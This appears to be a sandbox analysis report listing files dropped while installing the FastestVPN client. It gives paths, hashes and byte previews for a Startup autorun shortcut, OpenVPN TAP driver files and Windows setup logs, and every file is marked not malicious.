                                                                                                                SHA-256:F520EF5582168B8D0D7BBC2096372A6AD164A9B9AB8C75EC47338D2906C494E7
                                                                                                                SHA-512:7978714C8B5486D13EFDBED861A862DFEB445AB9A8FDA18BA46709707C5C31B90DA365D69B0D15CB0C2BCDA85395039323EDF77543F6A14B85A030C9871094A0
                                                                                                                Malicious:false
                                                                                                                Preview:...................................FL..................F.".. ...J.S...8r..l...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S.... .l...}l..l.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2CY"B...........................^.A.p.p.D.a.t.a...B.V.1.....CY.B..Roaming.@......EW<2CY.B..../......................1..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2CY.B....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2CY.B....2.....................j...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2CY.B....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2CY.B....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2CY3B....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2CYDB....u...........

                                                                                                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FastestVPN.lnk

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Oct 3 07:17:32 2024, mtime=Thu Oct 3 07:17:35 2024, atime=Thu Jun 27 19:18:16 2024, length=2059432, window=hide
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1801
                                                                                                                Entropy (8bit):3.2371350935280425
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:8sWljdU58XIcJLAs7d/Z6d/SCqd/VkIbfd/Vu1m:8fdU54TJ8s7d/Z6d/sd/Vkcd/VO
                                                                                                                MD5:85BCAA40299549A3CFBF8790F1174E29
                                                                                                                SHA1:3686D5F1DEA2F8BC6A17098DFBBD19FBEF99C4C5
                                                                                                                SHA-256:DF0DB7FDF96B9F99DBBFAE8A6275603BB1A8FB1FB15F103CABC58A11F2C66A99
                                                                                                                SHA-512:751F4BCA11B1895B687698C5C2B17C5FC4490E51593643EA44BD85A05C0A4E978B8CF41C18F0063CD8E793E338432581A2DD4DE9AC4C884A21B66607C9920123
                                                                                                                Malicious:false
                                                                                                                Preview:L..................F.@.. ......l...q&..l......$.....l...........................P.O. .:i.....+00.../C:\.....................1.....CY1B..PROGRA~1..t......O.ICY2B....B...............J.....u...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....CY2B..FASTES~1..F......CY1BCY2B..........................l.j.F.a.s.t.e.s.t.V.P.N.....j.2..l...XH. .FASTES~1.EXE..N......CY1BCY1B..............................F.a.s.t.e.s.t.V.P.N...e.x.e.......Y...............-.......X...........<>.......C:\Program Files\FastestVPN\FastestVPN.exe..B.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.F.a.s.t.e.s.t.V.P.N...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N...-.a.u.t.o.r.u.n.(.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.a.p.p.-.i.c.o.n...i.c.o.........%SystemDrive%\Program Files\FastestVPN\app-icon.ico.................................................................................................

                                                                                                                C:\Windows\INF\oem4.inf

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\drvinst.exe
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7537
                                                                                                                Entropy (8bit):5.046488463217706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Windows\INF\setupapi.dev.log

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                File Type:Generic INItialization configuration [BeginLog]
                                                                                                                Category:dropped
                                                                                                                Size (bytes):58729
                                                                                                                Entropy (8bit):5.206300494641601
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:OGdni80C/8g0atRf7yr14ujuNY9AZi3Z/oUtwrzUQ5SE2e3ZkWY/8JLhas3X4cou:Own95cdyYloiwnlz2eTgUKsD
                                                                                                                MD5:DFA6BF438D6126C4838CC60A276E21CA
                                                                                                                SHA1:CDB91A609577FE10451EC313F7A5102FE21BF039
                                                                                                                SHA-256:6EFA7F2CDF992ACE7DF04EA9E668E6FA7BAFE756D4CBF339E9072B52C93CCA7E
                                                                                                                SHA-512:99EE18B5CE423C37C8FEED2D5179151A62B9C841F0977385D04CF92DFFF4B1C3FCA420D58EA9A1797E026E6C08417F91AE7A324F4275BC7093CB312D892D1CFC
                                                                                                                Malicious:false
                                                                                                                Preview:[Device Install Log].. OS Version = 10.0.19045.. Service Pack = 0.0.. Suite = 0x0100.. ProductType = 1.. Architecture = amd64....[BeginLog]....[Boot Session: 2023/10/03 09:57:02.288]....>>> [Setup Import Driver Package - C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf]..>>> Section start 2023/10/03 09:57:37.904.. cmd: C:\Windows\System32\spoolsv.exe.. inf: Provider: Microsoft.. inf: Class GUID: {4D36E979-E325-11CE-BFC1-08002BE10318}.. inf: Driver Version: 06/21/2006,10.0.19041.1806.. inf: Catalog File: prnms009.cat.. ump: Import flags: 0x0000000D.. pol: {Driver package policy check} 09:57:37.920.. pol: {Driver package policy check - exit(0x00000000)} 09:57:37.920.. sto: {Stage Driver Package: C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf} 09:57:37.920.. inf: {Query Configurability: C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf} 09:57:37.920.. inf:

                                                                                                                C:\Windows\Logs\NetSetup\service.0.etl

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):524288
                                                                                                                Entropy (8bit):0.423679888079447
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:OL/zm8DmT1xMS92sICkjd0x5AUko5HOLboAcKYzFlgbmyT8Zof9YtR:OL/ZM7mjhRoZO/oAPs
                                                                                                                MD5:D1D528E11F9DB0AA057007798E146BBF
                                                                                                                SHA1:BBC0C34DF244B8E60BCF1F839EFB788708F57DF1
                                                                                                                SHA-256:C1A8E6CE38AAD6E98CB265A7C8244B534B37F34748749193A824463F7C323813
                                                                                                                SHA-512:3D2892EB48A62C4EEC0BF181C1709F89933664286FDEE1B5DCCC9551F69D06158D8200840D30FACCD2834F14248528D42EB03B67840116428058F13FA7C49E57
                                                                                                                Malicious:false
                                                                                                                Preview:....8...8...........................................!....................................?......................eJ......u..l...Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.6.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.6.1...........................................................@K5..............?..............N.e.t.C.f.g.T.r.a.c.e...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.N.e.t.S.e.t.u.p.\.s.e.r.v.i.c.e...0...e.t.l.........P.P..........?..................................................................8.B..?......19041.1.amd64fre.vb_release.191206-1406.....7.@..?.......I.[.8+m.!N8$......NetSetupuser.pdb......4.@..?.........>*.....Nr8..a....NetSetupApi.pdb.db......4.@..?.........E_iC...F........NetSetupSvc.pdb.........4.@..?.........E_iC...F........NetSetupSvc.pdb.............................................................................................................................................................

                                                                                                                C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                File Type:JSON data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):55
                                                                                                                Entropy (8bit):4.306461250274409
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                                                MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                                                SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                                                SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                                                SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                                                Malicious:false
                                                                                                                Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                                                C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\SETD153.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\drvinst.exe
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7537
                                                                                                                Entropy (8bit):5.046488463217706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\SETD164.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\drvinst.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10711
                                                                                                                Entropy (8bit):7.2254581318251425
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                Malicious:false
                                                                                                                Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\SETD174.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\drvinst.exe
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):39920
                                                                                                                Entropy (8bit):6.333649052940754
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\oemvista.inf (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\drvinst.exe
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7537
                                                                                                                Entropy (8bit):5.046488463217706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\tap0901.cat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\drvinst.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10711
                                                                                                                Entropy (8bit):7.2254581318251425
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                Malicious:false
                                                                                                                Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\tap0901.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\drvinst.exe
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):39920
                                                                                                                Entropy (8bit):6.333649052940754
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                C:\Windows\System32\catroot2\dberr.txt

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\drvinst.exe
                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                Category:modified
                                                                                                                Size (bytes):3473
                                                                                                                Entropy (8bit):5.365975258819503
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:96:QO00eO00erMwUgWUg0B1kE3ZhpJp8ZpkRepk3s5pmspmZw:QO00eO00erMwmkB1kAe
                                                                                                                MD5:4A20AB39FC9D8306787B1051568EEFE4
                                                                                                                SHA1:1E228C60F26B5E0D4134E8FBC3F3422860D4AEC8
                                                                                                                SHA-256:CD9AA4CC94B732AA935468D9CA0B756BBAA99A99417A808166B3E13917496480
                                                                                                                SHA-512:C8A28038870004EA21BD4CF52EDB143B15D7E2480B23BA55387D88D7747CE507FA0F2140C29690BDEAF12C817874A293B3B45B8880166D0333BF10B639EA3BB7
                                                                                                                Malicious:false
                                                                                                                Preview:CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6041 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6699 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #4398 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6041 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6699 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #4398 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #2083 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #2459 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: SyncAllDBs Corruption or Schema Change..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #891 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #1307 encountered JET error -1601..CatalogDB: 08:57:12 03/10/2023: SyncDB:: Sync sta

                                                                                                                C:\Windows\System32\drivers\SETDAB9.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\drvinst.exe
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):39920
                                                                                                                Entropy (8bit):6.333649052940754
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                C:\Windows\System32\drivers\fastestvpndriver.sys

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\xcopy.exe
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):104424
                                                                                                                Entropy (8bit):6.366713641084616
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:Y79hJ78bsmPOC5lhtb5FGNk4wZO+cWK4orE3HazVvon6BK2s6th:YpL78XPOCN1GeOUKdebIKfS
                                                                                                                MD5:95FD4F27F82A9E4D6E2A53AF7A9096E6
                                                                                                                SHA1:5F772C89901841AF1814C858359AC5FEB9BE3C24
                                                                                                                SHA-256:98CD2F27906E4FD7FA7FBE0EC747BADEF710BCA736A1AC5EE883756F2185818C
                                                                                                                SHA-512:6B2E2BA90B33F6658C903203317299057C83545D46549D468CDAA1D6F7BCE887310411B9BF6EEA9D19C214A2041BB5E14FD9395CC4E2FE9FC31AB03B88A75019
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.d.z...z...z.....~...z.........}.....}...Y@..s....A..{....A..{...Richz...........................PE..d... [.\.........."..........L.................@....................................C.....`.................................................8p..P.......H....`.......R...E..........`#..8............................(..p............ ..`............................text...d........................... ..h.rdata....... ......................@..H.data...@....@.......$..............@....pdata.......`.......,..............@..HINIT.........p.......:.............. ....rsrc...H............J..............@..B.reloc...............P..............@..B................................................................................................................................................................................................................................

                                                                                                                C:\Windows\System32\drivers\tap0901.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\drvinst.exe
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):39920
                                                                                                                Entropy (8bit):6.333649052940754
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                C:\Windows\appcompat\Programs\Amcache.hve

                                                                                                                Download File
                                                                                                                Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                File Type:MS Windows registry file, NT/2000 or above
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1835008
                                                                                                                Entropy (8bit):4.468982733629119
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6144:/zZfpi6ceLPx9skLmb0ffZWSP3aJG8nAgeiJRMMhA2zX4WABluuNbjDH5S:rZHtfZWOKnMM6bFpRj4
                                                                                                                MD5:EEBA59EF9D2AE028C5CBEAC03F1A01FE
                                                                                                                SHA1:E6DE7356DCAF0501D0ABF9178133D0A9BA93A8CB
                                                                                                                SHA-256:EBD94F800CA6F3557AB3F0EFC85E4A5E2E8136397F61497FB825FB3589702A85
                                                                                                                SHA-512:35CD46BC8BBE5B52C186B51683D1E58D438C111B628F29CFAE4D13B82F0A4821FBD819353C67A11DA337516AC93F563E884693741E1B67C9C951E058D9C1B7E8
                                                                                                                Malicious:false
